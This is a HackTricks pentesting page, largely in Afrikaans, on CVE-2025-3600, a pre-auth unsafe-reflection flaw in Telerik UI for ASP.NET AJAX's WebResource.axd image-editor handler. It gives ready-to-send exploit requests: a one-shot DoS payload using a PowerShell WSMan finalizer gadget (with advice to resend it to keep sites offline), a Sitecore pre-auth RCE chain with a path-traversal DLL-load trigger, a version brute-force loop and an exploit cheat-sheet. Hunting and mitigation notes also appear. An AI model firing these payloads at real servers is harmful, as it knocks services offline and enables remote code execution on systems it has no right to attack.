Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
  • Primitive: Aanvaller beheer ’n type naam (prtype). Die handler los dit op met Type.GetType() en roep Activator.CreateInstance() aan voordat dit die interface se type-veiligheid verifieer. Enige publieke, parameterlose .NET tipe se constructor sal uitgevoer word.
  • Impact:
    • Universele pre‑auth DoS met ’n .NET framework gadget (PowerShell WSMan finalizer).
    • Dit lei dikwels tot pre‑auth RCE in werklike deployments deur app‑spesifieke gadgets te misbruik, veral onveilige AppDomain.AssemblyResolve handlers.
  • Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.

Affected surface and quick discovery

  • Check exposure:
    • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
    • Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
    • Do not rely on finding Telerik strings on / or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
    • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Aantekeninge

  • Sommige PoCs gebruik dtype; die implementering kontroleer dkey==“1” vir die download flow.
  • prtype moet assembly-qualified wees of oplosbaar in die huidige AppDomain.

Nuttige code/ops kontroles

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Vinnige weergawetriage op erfenisinstallasies

As dieselfde toepassing ook die legacy type=rau handler blootstel, kan ouer Telerik-gereedskap jou steeds help om die gedeelde Telerik.Web.UI.dll weergawe te fingerprint voordat jy type=iec navorsing probeer. Dit exploit NIE CVE-2025-3600 direk nie; dit hergebruik net die feit dat rau en iec in dieselfde assembly voorkom.

Praktiese gebruik:

  • As type=rau bereikbaar is, gebruik die klassieke major-version brute force van ouer RAU-gereedskap om die presiese Telerik.Web.UI assembly-weergawe te bepaal.
  • Vergelyk die teruggevonde weergawe met die kwesbare reeks (2011.2.712 tot 2025.1.218) en die vasgestelde build (2025.1.416+).
  • Beskou die afwesigheid van type=rau as onduidelik. iec kan steeds blootgestel wees selfs wanneer rau gedeaktiveer of gefilter is.

Voorbeeld met die legacy CVE-2019-18935.py helper:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Waarom dit help:

  • Sake-toepassings bundel dikwels verouderde Telerik builds vir jare.
  • Red teams kan vinnig onderskei tussen “handler exposed” en “likely still on a vulnerable DLL”.
  • Tydens incident response help dieselfde truuk om die omvang van groot IIS-vloot te bepaal wanneer lêerstelseltoegang nie onmiddellik beskikbaar is nie.

Root cause – onveilige refleksie in ImageEditorCacheHandler

Die Image Editor cache aflaaivloei maak ’n instansie van ’n tipe wat in prtype voorsien word en cast eers later na ICacheImageProvider en valideer eers daarna die aflaai-sleutel. Die konstruktor is reeds uitgevoer wanneer die validering misluk.

Relevante gedecompileerde vloei ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

Exploit primitive: Controlled type string → Type.GetType los dit op → Activator.CreateInstance voer sy openbare parameterlose konstruktor uit. Selfs al word die versoek daarna verwerp, het gadget se bywerkinge reeds plaasgevind.

## Universal DoS gadget (no app-specific gadgets required)

Klas: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) het 'n finalizer wat 'n nie-geïnitialiseerde handle disposeer, wat 'n onbehandelde uitsondering veroorsaak wanneer GC dit finaliseer. Dit laat betroubaar die IIS werkersproses kort ná instansiasie vasloop.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Hou aan om periodies te stuur om die site offline te hou. Jy mag waarneem dat die constructor in ’n debugger getref word; crash gebeur by finalization.

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:

  1. Constructor sonder parameters wat aanvallerinset verwerk
  • Sommige ctors (of static initializers) lees dadelik Request query/body/cookies/headers en (de)serialize hulle.
  • Voorbeeld (Sitecore): ’n ctor chain bereik GetLayoutDefinition() wat die HTTP body “layout” lees en JSON via JSON.NET deserialiseer.
  1. Constructors wat lêers aanraak
  • Ctros wat config/blobs vanaf disk laai of deserialiseer, kan gedwing word as jy na daardie paaie kan skryf (uploads/temp/data folders).
  1. Constructors wat app‑spesifieke ops uitvoer
  • Toestand terugstel, modules skakel, of prosesse beëindig.
  1. Constructors/static ctors wat AppDomain event handlers registreer
  • Baie apps voeg AppDomain.CurrentDomain.AssemblyResolve handlers by wat DLL‑paaie bou vanaf args.Name sonder sanitization. As jy tipe‑resolusie kan beïnvloed, kan jy arbitrary DLL‑laaie dwing vanaf aanvaller‑beheerde paaie.
  1. Forcing AssemblyResolve via Type.GetType
  • Request ’n nie‑bestaande type om CLR resolution af te dwing en geregistreerde (moontlik onveilige) resolvers aan te roep. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers met destruktiewe newe-effekte
  • Sommige types verwyder vasgestelde padlêers in finalizers. Gecombineer met link-following of voorspelbare paaie kan dit local privilege escalation in sekere omgewings moontlik maak.

Voorbeeld pre‑auth RCE-ketting (Sitecore XP)

  • Stap 1 – Pre‑auth: Trigger ’n tipe waarvan die static/instance ctor ’n onsekere AssemblyResolve handler registreer (bv., Sitecore’s FolderControlSource in ControlFactory).
  • Stap 2 – Post‑auth: Verkry skryftoegang tot ’n resolver-probed directory (bv., via an auth bypass or weak upload) en plant ’n kwaadaardige DLL.
  • Stap 3 – Pre‑auth: Gebruik CVE‑2025‑3600 met ’n nie‑bestaande tipe en ’n traversal‑laden assembly name om die resolver te dwing om jou geplante DLL te laai → code execution as the IIS worker.

Trigger-voorbeelde

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validering, hunting en DFIR notas

  • Veilige lab-validering: Vuur die DoS-payload af en kyk vir app pool recycle/unhandled exception wat gekoppel is aan die WSMan finalizer.
  • Hunt in telemetrie:
  • Versoeke na /Telerik.Web.UI.WebResource.axd met type=iec en vreemde prtype-waardes.
  • Mislukte type loads en AppDomain.AssemblyResolve events.
  • Skielike w3wp.exe crashes/recycles na sulke versoeke.

Mitigasie

  • Installeer die patch vir Telerik UI for ASP.NET AJAX 2025.1.416 of later.
  • Verwyder of beperk blootstelling van Telerik.Web.UI.WebResource.axd waar moontlik (WAF/rewrites).
  • Ignoreer of verhard prtype-hantering aan bedienerzijde (upgrade voer toepaslike kontroles uit voor instansiasie).
  • Oudit en verhard aangepaste AppDomain.AssemblyResolve handlers. Vermy om paaie te bou vanaf args.Name sonder sanitisering; verkies strong-named loads of whitelists.
  • Beperk upload-/skryf-lokaliteite en verhoed DLL-drops in geprobeerde gidse.
  • Moniteer vir nie-bestaande type load-pogings om resolver-misbruik op te spoor.

Cheat‑sheet

  • Aanwezigheidskontrole:
  • GET /Telerik.Web.UI.WebResource.axd
  • Kyk vir handler mapping in web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Trigger-oplosser:
This.Class.Does.Not.Exist, watchTowr

Verwante tegnieke

  • IIS post-exploitation, .NET key extraction, en in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization en machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks